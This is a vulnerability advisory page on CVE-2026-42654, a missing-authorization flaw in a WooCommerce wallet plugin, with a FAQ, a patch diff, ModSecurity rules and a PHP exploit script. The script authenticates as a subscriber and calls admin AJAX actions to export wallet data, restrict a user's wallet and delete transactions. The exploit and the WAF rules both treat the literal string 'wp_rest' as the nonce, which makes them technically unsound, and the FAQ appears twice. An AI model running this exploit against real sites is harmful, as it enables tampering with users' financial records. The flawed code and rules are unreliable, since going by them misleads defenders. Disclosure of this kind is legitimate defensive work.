What is CVE-2026-42654?

CVE-2026-42654 is a medium severity vulnerability in the Wallet System for WooCommerce plugin for WordPress. It arises from a missing authorization check on several AJAX functions, allowing authenticated users with Subscriber-level access to perform unauthorized actions.

How does the vulnerability work?

The vulnerability allows authenticated attackers to execute specific AJAX actions without proper capability checks. By sending crafted requests to the admin-ajax.php endpoint, attackers can access functions that should require higher privileges, such as exporting wallet data or deleting transactions.

Who is affected by this vulnerability?

All installations of the Wallet System for WooCommerce plugin up to and including version 2.7.5 are affected. WordPress administrators should check their plugin version and update if they are using a vulnerable version.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the Wallet System for WooCommerce plugin installed. If it is version 2.7.5 or earlier, your site is at risk. Additionally, you can review access logs for unauthorized AJAX requests.

How can I fix the vulnerability?

The recommended fix is to update the Wallet System for WooCommerce plugin to version 2.7.6 or later, where the vulnerability has been patched. Regularly updating all plugins is crucial for maintaining site security.

What does the CVSS score of 4.3 mean?

A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it can still be exploited by authenticated attackers to perform unauthorized actions, potentially leading to data breaches or service disruptions.

What is a proof of concept (PoC) in this context?

The proof of concept provided illustrates how an attacker can exploit the vulnerability by authenticating as a low-privileged user and sending AJAX requests to perform unauthorized actions. It serves as a practical example of the risk posed by the vulnerability.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Wallet System for WooCommerce plugin until a patch can be applied. Additionally, review user roles and permissions to limit access to the affected functions.

How does this vulnerability impact user data?

Successful exploitation could allow attackers to access sensitive user wallet information, modify financial records, and delete transaction data. This could lead to unauthorized financial transactions and significant data integrity issues.

What are nonce checks and why are they important?

Nonce checks are security tokens used in WordPress to verify that a request comes from a legitimate source. In this vulnerability, the reliance on a nonce without capability checks allowed unauthorized users to exploit the affected functions.

Can this vulnerability lead to a denial of service?

Yes, attackers could exploit this vulnerability to delete transaction records or modify wallet access, potentially leading to a denial of service for legitimate users who can no longer access their financial data.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : May 18, 2026

CVE-2026-42654: Wallet System for WooCommerce – Digital Wallet, Buy Now Pay Later (BNPL), Instant Cashback, Referral program, Partial & Subscription Payments <= 2.7.5 – Missing Authorization (wallet-system-for-woocommerce)

Q: What are the specific functions affected by this vulnerability?

The affected functions include export_users_wallet(), restrict_user_from_wallet_access(), change_wallet_withdrawan_status(), wps_wallet_delete_user_tranasactions(), and wps_wsfw_filter_chart_data(). These functions lack proper capability checks, allowing unauthorized access.

CVE ID CVE-2026-42654

Plugin wallet-system-for-woocommerce

Severity Medium (CVSS 4.3)

CWE 862

Vulnerable Version 2.7.5

Patched Version 2.7.6

Disclosed April 28, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-42654:
This vulnerability affects the Wallet System for WooCommerce plugin versions up to and including 2.7.5. It is a missing authorization vulnerability that allows authenticated attackers with Subscriber-level access to perform unauthorized administrative actions. The CVSS score is 4.3 (Medium).

The root cause is the complete absence of capability checks on several AJAX handler functions in the admin class. The vulnerable functions include export_users_wallet(), restrict_user_from_wallet_access(), change_wallet_withdrawan_status(), wps_wallet_delete_user_tranasactions(), wps_wsfw_dismiss_notice_banner_callback(), and wps_wsfw_filter_chart_data(). All of these functions are hooked to wp_ajax_ actions that any authenticated user can trigger. The code relied solely on a nonce check using ‘wp_rest’ nonce, which does not verify user capabilities. The patch introduces a new method wps_wsfw_current_user_can_manage_wallet() that checks for manage_woocommerce or manage_options capabilities and adds this check to each vulnerable function.

An attacker with Subscriber-level access can exploit these functions by sending POST requests to /wp-admin/admin-ajax.php with the appropriate action parameter. For example, to call export_users_wallet(), the attacker sends action=export_users_wallet with the old nonce ‘wp_rest’. The restrict_user_from_wallet_access() function allows restricting any user’s wallet access. The change_wallet_withdrawan_status() function allows changing withdrawal statuses. The wps_wallet_delete_user_tranasactions() function allows deleting transaction records. All these operations should require admin-level privileges.

The patch adds a capability check using current_user_can(‘manage_woocommerce’) || current_user_can(‘manage_options’) to every vulnerable function. It also changes the nonce from ‘wp_rest’ to ‘wsfw_admin_nonce’. The patch additionally removes the wp_ajax_nopriv hook for wps_wsfw_filter_chart_data, preventing unauthenticated access to chart data containing user wallet details. Input sanitization is improved by replacing sanitize_text_field with absint for numeric IDs. The dismiss notice banner function now properly validates both the nonce and user capabilities.

Successful exploitation allows an authenticated attacker with minimal privileges to export wallet data, modify user wallet restrictions, alter withdrawal statuses, delete transaction records, and access sensitive user wallet information. This could lead to unauthorized modification of financial records and denial of service through transaction deletion.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wallet-system-for-woocommerce/admin/class-wallet-system-for-woocommerce-admin.php
+++ b/wallet-system-for-woocommerce/admin/class-wallet-system-for-woocommerce-admin.php
@@ -64,6 +64,30 @@
 	}

 	/**
+	 * Check whether the current user is allowed to manage wallet admin actions.
+	 *
+	 * @return bool
+	 */
+	private function wps_wsfw_current_user_can_manage_wallet() {
+		return current_user_can( 'manage_woocommerce' ) || current_user_can( 'manage_options' );
+	}
+
+	/**
+	 * Send an AJAX permission error and stop execution.
+	 *
+	 * @return void
+	 */
+	private function wps_wsfw_send_ajax_permission_error() {
+		wp_send_json_error(
+			array(
+				'msg'     => esc_html__( 'Sorry, you are not allowed to do that.', 'wallet-system-for-woocommerce' ),
+				'msgType' => 'error',
+			),
+			403
+		);
+	}
+
+	/**
 	 * Register the stylesheets for the admin area.
 	 *
 	 * @since    1.0.0
@@ -126,7 +150,7 @@

 		$wps_wsfw_branner_notice = array(
 			'ajaxurl'       => admin_url( 'admin-ajax.php' ),
-			'wps_wsfw_nonce' => wp_create_nonce( 'wp_rest' ),
+			'wps_wsfw_nonce' => wp_create_nonce( 'wsfw_admin_nonce' ),
 		);
 		wp_register_script( $this->plugin_name . 'admin-notice', WALLET_SYSTEM_FOR_WOOCOMMERCE_DIR_URL . 'admin/js/wps-wsfw-wallet-card-notices.js', array( 'jquery' ), $this->version, false );

@@ -206,7 +230,7 @@
 				array(
 					'ajaxurl'                   => admin_url( 'admin-ajax.php' ),
 					'wps_wsfw_user_count'         => $this->wps_wsfw_user_count(),
-					'nonce'                     => wp_create_nonce( 'wp_rest' ),
+					'nonce'                     => wp_create_nonce( 'wsfw_admin_nonce' ),
 					'reloadurl'                 => admin_url( 'admin.php?page=wallet_system_for_woocommerce_menu' ),
 					'wsfw_gen_tab_enable'       => get_option( 'wps_wsfw_enable' ),
 					'datatable_pagination_text' => __( 'Rows per page _MENU_', 'wallet-system-for-woocommerce' ),
@@ -2190,7 +2214,11 @@
 	 * @return void
 	 */
 	public function export_users_wallet() {
-		check_ajax_referer( 'wp_rest', 'nonce' );
+		check_ajax_referer( 'wsfw_admin_nonce', 'nonce' );
+		if ( ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}
+
 		$per_user     = ! empty( $_POST['wps_wsfw_per_user'] ) ? sanitize_text_field( wp_unslash( $_POST['wps_wsfw_per_user'] ) ) : 0;
 		$current_page = ! empty( $_POST['wps_wsfw_current_page'] ) ? sanitize_text_field( wp_unslash( $_POST['wps_wsfw_current_page'] ) ) : 1;
 		$csv_data = ! empty( $_POST['csv_data'] ) ? map_deep( wp_unslash( $_POST['csv_data'] ), 'sanitize_text_field' ) : '';
@@ -2253,11 +2281,15 @@
 		 */
 	public function restrict_user_from_wallet_access() {
 		$update = true;
-		check_ajax_referer( 'wp_rest', 'nonce' );
-		$user_id            = ( isset( $_POST['user_id'] ) ) ? sanitize_text_field( wp_unslash( $_POST['user_id'] ) ) : '';
+		check_ajax_referer( 'wsfw_admin_nonce', 'nonce' );
+		if ( ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}
+
+		$user_id            = ( isset( $_POST['user_id'] ) ) ? absint( wp_unslash( $_POST['user_id'] ) ) : 0;
 		$restriction_status = ( isset( $_POST['restriction_status'] ) ) ? sanitize_text_field( wp_unslash( $_POST['restriction_status'] ) ) : '';

-		if ( ! empty( $user_id ) ) {
+		if ( $user_id > 0 ) {

 			if ( 'true' == $restriction_status ) {
 				update_user_meta( $user_id, 'user_restriction_for_wallet', 'restricted', true );
@@ -2512,7 +2544,11 @@
 	 */
 	public function change_wallet_withdrawan_status() {
 		$update = true;
-		check_ajax_referer( 'wp_rest', 'nonce' );
+		check_ajax_referer( 'wsfw_admin_nonce', 'nonce' );
+		if ( ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}
+
 		if ( empty( $_POST['withdrawal_id'] ) ) {
 			$wps_wsfw_error_text = esc_html__( 'Withdrawal Id is not given', 'wallet-system-for-woocommerce' );
 			$message             = array(
@@ -2529,8 +2565,8 @@
 			);
 			$update = false;
 		}
-		$withdrawal_id      = ( isset( $_POST['withdrawal_id'] ) ) ? sanitize_text_field( wp_unslash( $_POST['withdrawal_id'] ) ) : '';
-		$user_id            = ( isset( $_POST['user_id'] ) ) ? sanitize_text_field( wp_unslash( $_POST['user_id'] ) ) : '';
+		$withdrawal_id      = ( isset( $_POST['withdrawal_id'] ) ) ? absint( wp_unslash( $_POST['withdrawal_id'] ) ) : 0;
+		$user_id            = ( isset( $_POST['user_id'] ) ) ? absint( wp_unslash( $_POST['user_id'] ) ) : 0;

 		$walletamount = get_user_meta( $user_id, 'wps_wallet', true );
 		$withdrawal_amount = get_post_meta( $withdrawal_id, 'wps_wallet_withdrawal_amount', true );
@@ -4249,9 +4285,21 @@
 	 */
 	public function wps_wallet_delete_user_tranasactions() {
 		$update = true;
-		check_ajax_referer( 'wp_rest', 'nonce' );
+		check_ajax_referer( 'wsfw_admin_nonce', 'nonce' );
+		if ( ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}
+
+		$transaction_id = ! empty( $_POST['transaction_id'] ) ? absint( wp_unslash( $_POST['transaction_id'] ) ) : 0;
+		if ( empty( $transaction_id ) ) {
+			wp_send_json_error(
+				array(
+					'message' => esc_html__( 'Transaction ID is missing.', 'wallet-system-for-woocommerce' ),
+				),
+				400
+			);
+		}

-		$transaction_id = ! empty( $_POST['transaction_id'] ) ? absint( sanitize_text_field( wp_unslash( $_POST['transaction_id'] ) ) ) : '';
 		global $wpdb;
 		$transaction_executed = $wpdb->delete( $wpdb->prefix . 'wps_wsfw_wallet_transaction', array( 'id' => $transaction_id ), array( '%d' ) );

@@ -4351,16 +4399,28 @@
 	 * @return void
 	 */
 	public function wps_wsfw_dismiss_notice_banner_callback() {
-		if ( isset( $_REQUEST['wps_wsfw_nonce'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['wps_wsfw_nonce'] ) ), 'wp_rest' ) ) {
+		$nonce = '';
+		if ( isset( $_REQUEST['wps_wsfw_nonce'] ) ) {
+			$nonce = sanitize_text_field( wp_unslash( $_REQUEST['wps_wsfw_nonce'] ) );
+		} elseif ( isset( $_REQUEST['wps_nonce'] ) ) {
+			// Backward compatibility for older JS payloads.
+			$nonce = sanitize_text_field( wp_unslash( $_REQUEST['wps_nonce'] ) );
+		}

-			$banner_id = get_option( 'wps_wgm_notify_new_banner_id', false );
+		if ( empty( $nonce ) || ! wp_verify_nonce( $nonce, 'wsfw_admin_nonce' ) ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}

-			if ( isset( $banner_id ) && '' != $banner_id ) {
-				update_option( 'wps_wgm_notify_hide_baneer_notification', $banner_id );
-			}
+		if ( ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			$this->wps_wsfw_send_ajax_permission_error();
+		}

-			wp_send_json_success();
+		$banner_id = get_option( 'wps_wgm_notify_new_banner_id', false );
+		if ( isset( $banner_id ) && '' != $banner_id ) {
+			update_option( 'wps_wgm_notify_hide_baneer_notification', $banner_id );
 		}
+
+		wp_send_json_success();
 	}

 	/**
@@ -4374,7 +4434,32 @@

 		$from_date = ! empty( $_POST['fromdate'] ) ? sanitize_text_field( wp_unslash( $_POST['fromdate'] ) ) : ' ';
 		$to_date = ! empty( $_POST['toDate'] ) ? sanitize_text_field( wp_unslash( $_POST['toDate'] ) ) : ' ';
-		$user_id = ! empty( $_POST['user_id'] ) ? sanitize_text_field( wp_unslash( $_POST['user_id'] ) ) : '';
+		$user_id = ! empty( $_POST['user_id'] ) ? absint( wp_unslash( $_POST['user_id'] ) ) : 0;
+
+		if ( ! is_user_logged_in() ) {
+			wp_send_json_error(
+				array(
+					'msg'     => esc_html__( 'You must be logged in to do that.', 'wallet-system-for-woocommerce' ),
+					'msgType' => 'error',
+				),
+				401
+			);
+		}
+
+		$current_user_id = get_current_user_id();
+		if ( empty( $user_id ) ) {
+			$user_id = $current_user_id;
+		}
+
+		if ( $user_id !== $current_user_id && ! $this->wps_wsfw_current_user_can_manage_wallet() ) {
+			wp_send_json_error(
+				array(
+					'msg'     => esc_html__( 'Unauthorized request.', 'wallet-system-for-woocommerce' ),
+					'msgType' => 'error',
+				),
+				403
+			);
+		}

 		$user_data = $this->wps_wsfw_get_user_report( $user_id, $from_date, $to_date );

--- a/wallet-system-for-woocommerce/common/class-wallet-system-for-woocommerce-common.php
+++ b/wallet-system-for-woocommerce/common/class-wallet-system-for-woocommerce-common.php
@@ -68,13 +68,17 @@
 	 * @since    1.0.0
 	 */
 	public function wsfw_common_enqueue_scripts() {
+		$enable = get_option( 'wps_wsfw_enable', '' );
+		if ( ! isset( $enable ) || 'on' !== $enable ) {
+			return;
+		}
+
 		wp_register_script( $this->plugin_name . 'common', WALLET_SYSTEM_FOR_WOOCOMMERCE_DIR_URL . 'common/src/js/wallet-system-for-woocommerce-common.js', array( 'jquery' ), $this->version, false );
 		wp_localize_script(
 			$this->plugin_name . 'common',
 			'wsfw_common_param',
 			array(
 				'ajaxurl' => admin_url( 'admin-ajax.php' ),
-				'nonce'   => wp_create_nonce( 'wp_rest' ),
 			)
 		);
 		wp_enqueue_script( $this->plugin_name . 'common' );
--- a/wallet-system-for-woocommerce/includes/class-wallet-system-for-woocommerce.php
+++ b/wallet-system-for-woocommerce/includes/class-wallet-system-for-woocommerce.php
@@ -81,7 +81,7 @@
 			$this->version = WALLET_SYSTEM_FOR_WOOCOMMERCE_VERSION;
 		} else {

-			$this->version = '2.7.5';
+			$this->version = '2.7.6';
 		}

 		$this->plugin_name = 'wallet-system-for-woocommerce';
@@ -278,7 +278,7 @@
 		$this->loader->add_action( 'woocommerce_shop_order_list_table_custom_column', $wsfw_plugin_admin, 'wps_wocuf_pro_populate_wallet_order_column', 10, 2 );
 		$this->loader->add_filter( 'woocommerce_shop_order_list_table_columns', $wsfw_plugin_admin, 'wps_wsfw_wallet_add_columns_to_admin_orders', 99 );
 		$this->loader->add_action( 'wp_ajax_wps_wsfw_filter_chart_data', $wsfw_plugin_admin, 'wps_wsfw_filter_chart_data' );
-		$this->loader->add_action( 'wp_ajax_nopriv_wps_wsfw_filter_chart_data', $wsfw_plugin_admin, 'wps_wsfw_filter_chart_data' );
+		// Chart data contains user wallet details; never expose to guests.

 		// download Pdf.
 		$this->loader->add_action( 'init', $wsfw_plugin_admin, 'wps_wsfw_download_pdf_file_callback' );
--- a/wallet-system-for-woocommerce/wallet-system-for-woocommerce.php
+++ b/wallet-system-for-woocommerce/wallet-system-for-woocommerce.php
@@ -15,16 +15,16 @@
  * Plugin Name:       Wallet System For WooCommerce
  * Plugin URI:        https://wordpress.org/plugins/wallet-system-for-woocommerce
  * Description:       <code><strong>Wallet System for WooCommerce</strong></code> is a digital wallet plugin where users can add or delete balances in bulk, give refunds and earn cashback. <a href="https://wpswings.com/woocommerce-plugins/?utm_source=wpswings-wallet-shop&utm_medium=wallet-org-backend&utm_campaign=shop-page" target="_blank"> Elevate your e-commerce store by exploring more on <strong> WP Swings </strong></a>.
- * Version:           2.7.5
+ * Version:           2.7.6
  * Author:            WP Swings
  * Author URI:        https://wpswings.com/?utm_source=wpswings-wallet-official&utm_medium=wallet-org-backend&utm_campaign=official
  * Text Domain:       wallet-system-for-woocommerce
  * Domain Path:       /languages
  * Requires Plugins: woocommerce
  * WC Requires at least: 5.5.0
- * WC tested up to: 10.6.1
+ * WC tested up to: 10.7
  * WP Requires at least: 6.7.0
- * WP tested up to: 6.9.4
+ * WP tested up to: 6.9
  * Requires PHP: 7.4
  *
  * License:           GNU General Public License v3.0
@@ -64,7 +64,7 @@

 		$wp_upload = wp_upload_dir();
 		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_UPLOAD_DIR', $wp_upload['basedir'] );
-		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_VERSION', '2.7.5' );
+		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_VERSION', '2.7.6' );
 		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_DIR_PATH', plugin_dir_path( __FILE__ ) );
 		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_DIR_URL', plugin_dir_url( __FILE__ ) );
 		wallet_system_for_woocommerce_constants( 'WALLET_SYSTEM_FOR_WOOCOMMERCE_SERVER_URL', 'https://wpswings.com' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-42654
# Blocks unauthorized AJAX requests to vulnerable admin actions that lack capability checks
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:426541,phase:2,deny,status:403,chain,msg:'CVE-2026-42654 - Wallet System for WooCommerce unauthorized AJAX action',severity:'CRITICAL',tag:'CVE-2026-42654'"
  SecRule ARGS_POST:action "@pm export_users_wallet restrict_user_from_wallet_access change_wallet_withdrawan_status wps_wallet_delete_user_tranasactions wps_wsfw_filter_chart_data" "chain"
    SecRule ARGS_POST:nonce "@rx ^wp_rest$" "t:none"

# Additional rule for the dismiss notice banner endpoint (also uses wp_rest nonce)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:426542,phase:2,deny,status:403,chain,msg:'CVE-2026-42654 - Unauthorized banner dismiss action',severity:'CRITICAL',tag:'CVE-2026-42654'"
  SecRule ARGS_POST:action "@streq wps_wsfw_dismiss_notice_banner_callback" "chain"
    SecRule ARGS_POST:wps_wsfw_nonce "@rx ^wp_rest$" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-42654 - Wallet System for WooCommerce – Digital Wallet, Buy Now Pay Later (BNPL), Instant Cashback, Referral program, Partial & Subscription Payments <= 2.7.5 - Missing Authorization

// Configuration - set these values
$target_url = 'http://example.com';  // Target WordPress site URL
$username = 'subscriber';            // Subscriber-level user
$password = 'password';              // User password

// Step 1: Authenticate to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'rememberme' => 'forever',
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Content-Type: application/x-www-form-urlencoded'
));
$login_response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "Login HTTP Code: $http_coden";

// Step 2: Obtain the nonce by loading the admin page (the old nonce 'wp_rest' is still valid for older versions)
// The plugin uses wp_create_nonce('wp_rest') which generates a nonce valid for any user
$admin_ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Step 3: Exploit export_users_wallet to list all users (requires nonce in 'nonce' POST param)
// This function exports wallet data for all users
$action = 'export_users_wallet';
$nonce = 'wp_rest';  // Old nonce action, still accepted in vulnerable versions

$post_data = array(
    'action' => $action,
    'nonce' => $nonce,
    'wps_wsfw_per_user' => 1,
    'wps_wsfw_current_page' => 1,
    'csv_data' => array()
);

curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$response = curl_exec($ch);
echo "n[+] Exploit: $actionn";
echo "Response: $responsenn";

// Step 4: Exploit restrict_user_from_wallet_access to modify wallet restrictions
// This function allows an attacker to restrict or unrestrict any user's wallet
$post_data = array(
    'action' => 'restrict_user_from_wallet_access',
    'nonce' => $nonce,
    'user_id' => 1,  // Target admin user ID
    'restriction_status' => 'true'  // Set to 'true' to restrict, 'false' to unrestrict
);

curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
echo "[+] Exploit: $actionn";
echo "Response: $responsen";

// Step 5: Exploit wps_wallet_delete_user_tranasactions to delete a transaction
// This function deletes a transaction by ID
$post_data = array(
    'action' => 'wps_wallet_delete_user_tranasactions',
    'nonce' => $nonce,
    'transaction_id' => 1  // Arbitrary transaction ID to delete
);

curl_setopt($ch, CURLOPT_URL, $admin_ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);
echo "n[+] Exploit: $actionn";
echo "Response: $responsen";

// Clean up
curl_close($ch);
unlink('/tmp/cookies.txt');

echo "n[+] Exploitation complete.n";

Frequently Asked Questions

What is CVE-2026-42654?
Overview of the vulnerability
CVE-2026-42654 is a medium severity vulnerability in the Wallet System for WooCommerce plugin for WordPress. It arises from a missing authorization check on several AJAX functions, allowing authenticated users with Subscriber-level access to perform unauthorized actions.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability allows authenticated attackers to execute specific AJAX actions without proper capability checks. By sending crafted requests to the admin-ajax.php endpoint, attackers can access functions that should require higher privileges, such as exporting wallet data or deleting transactions.
Who is affected by this vulnerability?
Identifying vulnerable installations
All installations of the Wallet System for WooCommerce plugin up to and including version 2.7.5 are affected. WordPress administrators should check their plugin version and update if they are using a vulnerable version.
How can I check if my site is vulnerable?
Steps for verification
To determine if your site is vulnerable, check the version of the Wallet System for WooCommerce plugin installed. If it is version 2.7.5 or earlier, your site is at risk. Additionally, you can review access logs for unauthorized AJAX requests.
How can I fix the vulnerability?
Updating the plugin
The recommended fix is to update the Wallet System for WooCommerce plugin to version 2.7.6 or later, where the vulnerability has been patched. Regularly updating all plugins is crucial for maintaining site security.
What does the CVSS score of 4.3 mean?
Understanding risk levels
A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability is not critical, it can still be exploited by authenticated attackers to perform unauthorized actions, potentially leading to data breaches or service disruptions.
What are the specific functions affected by this vulnerability?
List of vulnerable functions
The affected functions include export_users_wallet(), restrict_user_from_wallet_access(), change_wallet_withdrawan_status(), wps_wallet_delete_user_tranasactions(), and wps_wsfw_filter_chart_data(). These functions lack proper capability checks, allowing unauthorized access.
What is a proof of concept (PoC) in this context?
Demonstrating the vulnerability
The proof of concept provided illustrates how an attacker can exploit the vulnerability by authenticating as a low-privileged user and sending AJAX requests to perform unauthorized actions. It serves as a practical example of the risk posed by the vulnerability.
What should I do if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider disabling the Wallet System for WooCommerce plugin until a patch can be applied. Additionally, review user roles and permissions to limit access to the affected functions.
How does this vulnerability impact user data?
Risks to sensitive information
Successful exploitation could allow attackers to access sensitive user wallet information, modify financial records, and delete transaction data. This could lead to unauthorized financial transactions and significant data integrity issues.
What are nonce checks and why are they important?
Role of nonce in security
Nonce checks are security tokens used in WordPress to verify that a request comes from a legitimate source. In this vulnerability, the reliance on a nonce without capability checks allowed unauthorized users to exploit the affected functions.
Can this vulnerability lead to a denial of service?
Potential service disruption
Yes, attackers could exploit this vulnerability to delete transaction records or modify wallet access, potentially leading to a denial of service for legitimate users who can no longer access their financial data.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations